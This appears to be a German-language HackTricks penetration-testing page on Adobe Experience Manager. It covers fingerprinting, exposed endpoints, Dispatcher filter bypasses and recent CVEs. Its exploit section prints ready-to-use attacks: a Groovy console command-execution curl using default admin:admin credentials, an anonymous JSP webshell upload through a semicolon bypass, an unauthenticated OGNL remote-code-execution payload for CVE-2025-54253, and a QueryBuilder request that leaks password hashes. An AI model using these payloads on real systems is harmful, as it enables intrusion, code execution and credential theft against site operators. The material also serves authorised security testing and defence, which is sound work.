AEM (Adobe Experience Manager) Pentesting

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) ist ein Enterprise-CMS, das auf Apache Sling/Felix (OSGi) und einem Java Content Repository (JCR) läuft.
Aus Sicht eines Angreifers weisen AEM-Instanzen sehr häufig gefährliche Entwicklungsendpunkte, schwache Dispatcher-Regeln, Standardanmeldeinformationen und eine lange Liste von CVEs auf, die vierteljährlich gepatcht werden.

Die folgende Checkliste konzentriert sich auf externally reachable (unauth) attack surface, die in realen Engagements (2022-2026) immer wieder auftaucht.


1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Weitere schnelle Indikatoren:

  • /etc.clientlibs/ static path present (liefert JS/CSS).
  • /libs/granite/core/content/login.html Anmeldeseite mit dem “Adobe Experience Manager” Banner.
  • </script><!--/* CQ */--> Kommentar am Ende des HTML.

2. Hochwertige unauthentifizierte Endpunkte

PathWas Sie erhaltenAnmerkungen
/.json, /.1.jsonJCR-Knoten über DefaultGetServletOft blockiert, aber Dispatcher bypass (siehe unten) funktioniert.
/bin/querybuilder.json?path=/QueryBuilder APILeak des Seitenbaums, interner Pfade, Benutzernamen.
/system/console/status-*, /system/console/bundlesOSGi/Felix console403 standardmäßig; wenn exponiert und creds gefunden ⇒ bundle-upload RCE.
/crx/packmgr/index.jspPackage ManagerErmöglicht authentifizierten Content-Pakete → JSP-Payload-Upload.
/etc/groovyconsole/**AEM Groovy ConsoleWenn exponiert → beliebige Groovy-/Java-Ausführung.
/libs/cq/AuditlogSearchServlet.jsonAudit logsInformationsoffenlegung.
/libs/cq/ui/content/dumplibs.htmlClientLibs dumpXSS-Vektor.
/adminui/debugAEM Forms on JEE Struts dev-mode OGNL evaluatorBei fehlkonfigurierten Forms-Installationen (CVE-2025-54253) führt dieser Endpunkt unauthentifizierte OGNL-Ausführung aus → RCE.

Dispatcher bypass tricks (funktionieren weiterhin in 2025/2026)

Die meisten Produktionsseiten liegen hinter dem Dispatcher (Reverse-Proxy). Filter-Regeln werden häufig umgangen, indem kodierte Zeichen oder erlaubte statische Erweiterungen ausgenutzt werden.

Klassisches Semikolon + erlaubte Erweiterung

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

Wenn der Dispatcher kodierte Slashes erlaubt, liefert dies JSON zurück, selbst wenn /bin angeblich gesperrt ist.


3. Häufige Fehlkonfigurationen (noch aktiv in 2026)

  1. Anonymous POST servletPOST /.json mit :operation=import erlaubt das Anlegen neuer JCR-Nodes. Das Blockieren von *.json POST im Dispatcher behebt das.
  2. World-readable user profiles – Die Standard-ACL gewährt jcr:read auf /home/users/**/profile/* für alle.
  3. Default credentialsadmin:admin, author:author, replication:replication.
  4. WCMDebugFilter enabled ⇒ reflected XSS via ?debug=layout (CVE-2016-7882, noch immer auf Legacy-6.4-Instanzen zu finden).
  5. Groovy Console exposed – remote code execution by sending a Groovy script:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
  1. Dispatcher encoded-slash gap/bin/querybuilder.json and /etc/truststore.json erreichbar mit %2f/%3B selbst wenn sie durch Pfadfilter blockiert sind.
  2. AEM Forms Struts devMode left enabled/adminui/debug?expression= wertet OGNL ohne Authentifizierung aus (CVE-2025-54253) und führt zu unauth RCE; gepaartes XXE in Forms-Submission (CVE-2025-54254) erlaubt das Auslesen von Dateien.

4. Aktuelle Schwachstellen (Service-Pack-Rhythmus)

QuartalCVE / BulletinBetroffenAuswirkung
Dec 2025APSB25-115, CVE-2025-64537/645396.5.24 & earlier, Cloud 2025.12Multiple critical/stored XSS → code execution via author UI.
Sep 2025APSB25-906.5.23 & earlierBypass-Kette von Sicherheitsfunktionen (Dispatcher auth checker) – Upgrade auf 6.5.24/Cloud 2025.12.
Aug 2025CVE-2025-54253 / 54254 (AEM Forms JEE)Forms 6.5.23.0 and earlierDevMode OGNL RCE + XXE file read, unauthenticated.
Jun 2025APSB25-486.5.23 & earlierStored XSS und privilege escalation in Communities-Komponenten.
Dec 2024APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74)6.5.22 & earlierDOM/Stored XSS, arbitrary code exec (low-priv).
Dec 2023APSB23-72≤ 6.5.18DOM-based XSS via crafted URL.

Prüfen Sie immer das APSB-Bulletin, das zum Service-Pack des Kunden passt, und drängen Sie auf das neueste 6.5.24 (Nov 26, 2025) oder Cloud Service 2025.12. AEM Forms on JEE benötigt sein eigenes Add-on-Hotfix 6.5.0-0108+.


5. Exploit-Snippets

5.1 RCE via dispatcher bypass + JSP upload

If anonymous write is possible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Rufe jetzt /content/evil.jsp auf – die JSP läuft mit dem AEM-Prozessbenutzer.

5.2 SSRF to RCE (historisch < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py von aem-hacker automatisiert die gesamte Kette.

5.3 OGNL RCE auf AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Wenn verwundbar, enthält der HTTP body die Befehlsausgabe.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Gibt Benutzerknoten zurück, einschließlich rep:password-Hashes, wenn anonyme Lese-ACLs die Standardeinstellung sind.


6. Werkzeuge

  • aem-hacker – Allzweck-Enumeration-Skript, unterstützt dispatcher bypass, SSRF detection, default-creds checks und mehr.
python3 aem_hacker.py -u https://target --host attacker-ip
  • Tenable WAS plugin 115065 – Erkennt QueryBuilder hash disclosure & encoded-slash bypass automatisch (veröffentlicht Dez 2025).
  • Content brute-force – Fordere rekursiv /_jcr_content.(json|html) an, um versteckte Komponenten zu entdecken.
  • osgi-infect – Lade ein bösartiges OSGi-Bundle über /system/console/bundles hoch, falls creds verfügbar sind.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks